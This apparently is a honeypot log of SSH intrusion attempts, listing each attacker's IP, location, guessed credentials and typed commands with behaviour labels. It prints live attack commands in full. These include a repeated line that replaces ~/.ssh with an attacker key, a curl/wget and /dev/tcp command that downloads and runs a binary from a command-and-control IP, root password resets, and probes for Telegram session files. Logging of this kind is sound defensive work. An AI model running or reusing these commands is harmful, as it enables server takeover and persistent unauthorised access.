$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 samba_root (138.204.127.54) β€” Cabo Frio, Brazil Β· 1 session Β· 2 cmds
2026-04-16 00:10 EDT Β· as oracle/Oracle27
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 specter_root_41 (147.50.103.212) β€” Phaya Thai, Thailand Β· 1 session Β· 2 cmds
2026-04-16 00:07 EDT Β· as oracle/Oracle23
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 jade_root_7 (14.103.118.73) β€” Haidian, China Β· 1 session Β· 2 cmds
2026-04-16 00:06 EDT Β· as oracle/oracle!@#$
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 satay_root (47.250.210.123) β€” Kuala Lumpur, Malaysia Β· 1 session Β· 1 cmd
2026-04-16 00:05 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 satay_root_2 (202.165.29.174) β€” Kuala Lumpur, Malaysia Β· 1 session Β· 2 cmds
2026-04-15 23:58 EDT Β· as oracle/Oracle23
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 dragon_root_15 (60.205.146.239) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-15 23:48 EDT Β· as oracle/oracle1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 wraith_root_35 (154.221.23.230) β€” Chai Wan, Hong Kong Β· 1 session Β· 2 cmds
2026-04-15 23:30 EDT Β· as oracle/oracle22!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 k-pop_root_3 (121.141.219.98) β€” Gangseo-gu, South Korea Β· 1 session Β· 2 cmds
2026-04-15 23:24 EDT Β· as oracle/oracle22!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 phantom_root_31 (43.129.38.37) β€” Jakarta, Indonesia Β· 1 session Β· 2 cmds
2026-04-15 23:21 EDT Β· as oracle/oracle123456
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 wraith_root_36 (103.181.143.216) β€” Cicurug, Indonesia Β· 1 session Β· 2 cmds
2026-04-15 22:58 EDT Β· as oracle/oracle123456
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 silk_root_14 (101.200.148.8) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-15 20:00 EDT Β· as oracle/oracle@123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 eagle_root_11 (66.154.119.88) β€” St Louis, United States Β· 1 session Β· 1 cmd
2026-04-15 17:58 EDT Β· as admin/admin123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 cipher_root_49 (103.49.62.60) β€” Kwun Tong, Hong Kong Β· 1 session Β· 1 cmd
2026-04-15 17:41 EDT Β· as pi/pi
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 ghost_root_54 (91.224.92.177) β€” Vilnius, Lithuania Β· 2 sessions Β· 2 cmds
2026-04-15 13:46 EDT Β· as admin/password
pwd
$ pwd Γ—2
🎭 ghost_root_19 (103.76.120.204) β€” Cicurug, Indonesia Β· 1 session Β· 2 cmds
2026-04-15 07:00 EDT Β· as oracle/M3gaP33!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 specter_db_2 (185.216.119.134) β€” Morrison Hill, Hong Kong Β· 1 session Β· 2 cmds
2026-04-15 06:27 EDT Β· as oracle/M3gaP33!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 liberty_sol_3 (92.118.39.56) β€” Dallas, United States Β· 110 sessions Β· 110 cmds
2026-03-03 21:42 EST Β· as sol/123, sol/sol, solana/solana
Ran uname 210x across 210 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—110
↳ obfuscated system check
🎭 seoul_root_5 (121.165.204.105) β€” Seoul, South Korea Β· 1 session Β· 9 cmds
2026-04-15 03:53 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 jade_root_8 (118.31.220.143) β€” Hangzhou, China Β· 1 session Β· 5 cmds
2026-04-15 03:24 EDT Β· as root/123456
echo β†’ payload download from C2 β†’ execute from /tmp β†’ '8
$ echo 1 > /dev/null && cat /bin/echo
$ nohup $SHELL -c "curl http://8.218.225.42:60101/linux -o /tmp/2lvMEQEayO; if [ ! -f /tmp/2lvMEQEayO ]; then wget http://8.218.225.42:60101/linux -O /tmp/2lvMEQEayO; fi; if [ ! -f /tmp/2lvMEQEayO ]; then exec 6<>/dev/tcp/8.218.225.42/60101 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/2lvMEQEayO ; chmod +x /tmp/2lvMEQEayO && /tmp/2lvMEQEayO ebAVOe/Pw6ydxY/M1IncmqXH0es4EbAJCKYKP+7Pw66C2YvNwI7bna/Eweg6FL4JAKAKMePPxq6W3YjLyo3LlLHD0OImFqEAFqEcMODXxKyby4zN1IDdgq3Iz+s/FKoOCKEVMfrTwKeC0ojUyIvegqrJ2+w4FaANGKEcPvTTwqiC2ojM1IranaXH0es4EbAMD74WPOnPwK2bxYnOyoLdnK7F0vowCqIJAL4WOu/Pxa2W3YjLyonLn6bf0O86CqUNFqIXMODXwa6c3pjLyYHFmabf2fQ6FaoOCKEUPfrQwamC2orUy47agq7H2OA/EqgKGKQWJuvYw7Gd2ZbIyInRmq/A0e8oEKcWCqQXJuvWxrGd2InAzIjanKrR1e0mHKYWCacSJujRyKWa24nJyZjanaff0usmFqIIFqEQO+DWxKufy4zN1IDdgq7G1/Q6FKkCDqAVO+nBxaiC2YzI1I3TgqfF2+w4FaABGKEVPPTUxLGd3IjUyIDRlKrB0fo5HKUWCqAWJujTwrGV24LDzI3SjK3D0/Q6EaIWCqgKOujRy6mc2ojP2o7bgq3B1PQ6EKgWD6AePunUw7+d3InUw4jFnazEz+k7HqYICaARKOLPw66UxYnLzpbana7L2eg/ErAAFqESO/TWwrGe2YjAwojZlL/A0+kmFaIBFqIXOPTSw6WV3YHN2onTlLHA0+omFqMNFqETOODWyK2ay4zN1Irfn7HA1u0mFaMJAqYUOerU0aubxYrPzpbcn7HD0O8yE6EID7AVMOzPw6ybxYnKzJbZna7L1+o5FKXeyey1RMArj+k6arZM0tFFENohnr3IWebg+A==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/2lvMEQEayO && /tmp/2lvMEQEayO ebAVOe/Pw6ydxY/M1IncmqXH0es4EbAJCKYKP+7Pw66C2YvNwI7bna/Eweg6FL4JAKAKMePPxq6W3YjLyo3LlLHD0OImFqEAFqEcMODXxKyby4zN1IDdgq3Iz+s/FKoOCKEVMfrTwKeC0ojUyIvegqrJ2+w4FaANGKEcPvTTwqiC2ojM1IranaXH0es4EbAMD74WPOnPwK2bxYnOyoLdnK7F0vowCqIJAL4WOu/Pxa2W3YjLyonLn6bf0O86CqUNFqIXMODXwa6c3pjLyYHFmabf2fQ6FaoOCKEUPfrQwamC2orUy47agq7H2OA/EqgKGKQWJuvYw7Gd2ZbIyInRmq/A0e8oEKcWCqQXJuvWxrGd2InAzIjanKrR1e0mHKYWCacSJujRyKWa24nJyZjanaff0usmFqIIFqEQO+DWxKufy4zN1IDdgq7G1/Q6FKkCDqAVO+nBxaiC2YzI1I3TgqfF2+w4FaABGKEVPPTUxLGd3IjUyIDRlKrB0fo5HKUWCqAWJujTwrGV24LDzI3SjK3D0/Q6EaIWCqgKOujRy6mc2ojP2o7bgq3B1PQ6EKgWD6AePunUw7+d3InUw4jFnazEz+k7HqYICaARKOLPw66UxYnLzpbana7L2eg/ErAAFqESO/TWwrGe2YjAwojZlL/A0+kmFaIBFqIXOPTSw6WV3YHN2onTlLHA0+omFqMNFqETOODWyK2ay4zN1Irfn7HA1u0mFaMJAqYUOerU0aubxYrPzpbcn7HD0O8yE6EID7AVMOzPw6ybxYnKzJbZna7L1+o5FKXeyey1RMArj+k6arZM0tFFENohnr3IWebg+A==" &
↳ payload download from C2
$ head -c 3716336 > /tmp/9r7pzpBj5Q
↳ execute from /tmp
$ echo 1 > /dev/null && cat /bin/echoQtd#0000
$ >A@/`'8
🎭 wraith_root_37 (23.97.62.135) β€” Singapore, Singapore Β· 2 sessions Β· 2 cmds
2026-04-15 01:59 EDT Β· as root/123456, root/12345678
pwd β†’ OS/kernel identification
$ pwd
$ uname -a
↳ OS/kernel identification
🎭 tulip_sol_8 (2.57.122.210) β€” Amsterdam, The Netherlands Β· 99 sessions Β· 99 cmds
2026-03-01 00:44 EST Β· as firedancer/firedancer, raydium/raydium, sol/123
Ran uname 132x across 132 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—99
↳ obfuscated system check
🎭 strudel_root_8 (212.113.104.179) β€” Frankfurt am Main, Germany Β· 7 sessions Β· 7 cmds
2026-04-15 00:45 EDT Β· as oracle/!QAZ@WSX, oracle/oracle, oracle/qwe123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—7
🎭 cipher_root_50 (190.181.27.27) β€” La Paz, Bolivia Β· 1 session Β· 2 cmds
2026-04-14 23:46 EDT Β· as oracle/Oracle!@#$
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 cipher_root_51 (107.175.59.131) β€” Dublin, Ireland Β· 1 session Β· 1 cmd
2026-04-14 22:51 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 ghost_root_55 (41.214.19.101) β€” Dakar, Senegal Β· 1 session Β· 2 cmds
2026-04-14 22:35 EDT Β· as oracle/Oracle02!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 silk_root_15 (39.96.197.8) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-14 22:15 EDT Β· as oracle/Aa123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 kimchi_root_5 (183.110.116.87) β€” Seongnam-si, South Korea Β· 1 session Β· 20 cmds
2026-04-14 21:37 EDT Β· as admin/123456
chattr -ia .ssh β†’ rm -rf .ssh β†’ mkdir .ssh β†’ echo RSA key β†’ passwd -p 123456 β†’ cat /proc/cpuinfo | grep name | wc -l β†’ free -m | grep Mem β†’ uname -m β†’ top
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "123456\n0lzfEIuSCIqO\n0lzfEIuSCIqO"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\n0lzfEIuSCIqO\n0lzfEIuSCIqO\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 seoul_root_6 (49.247.37.22) β€” Gwangmyeong, South Korea Β· 1 session Β· 19 cmds
2026-04-14 21:10 EDT Β· as root/12345678
chattr -ia .ssh β†’ rm -rf .ssh β†’ mkdir .ssh β†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" β†’ cat /proc/cpuinfo | grep name | wc -l β†’ echo "root:XSxZb9Q
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:XSxZb9QPYUO1"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 moose_root_6 (149.56.102.185) β€” Montreal, Canada Β· 1 session Β· 19 cmds
2026-04-14 20:57 EDT Β· as root/12345678
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:T1pcZ3McKuwL"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 toucan_root_2 (191.5.31.61) β€” Passo Fundo, Brazil Β· 2 sessions Β· 4 cmds
2026-04-06 08:44 EDT Β· as oracle/oracle10!, oracle/test1234
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
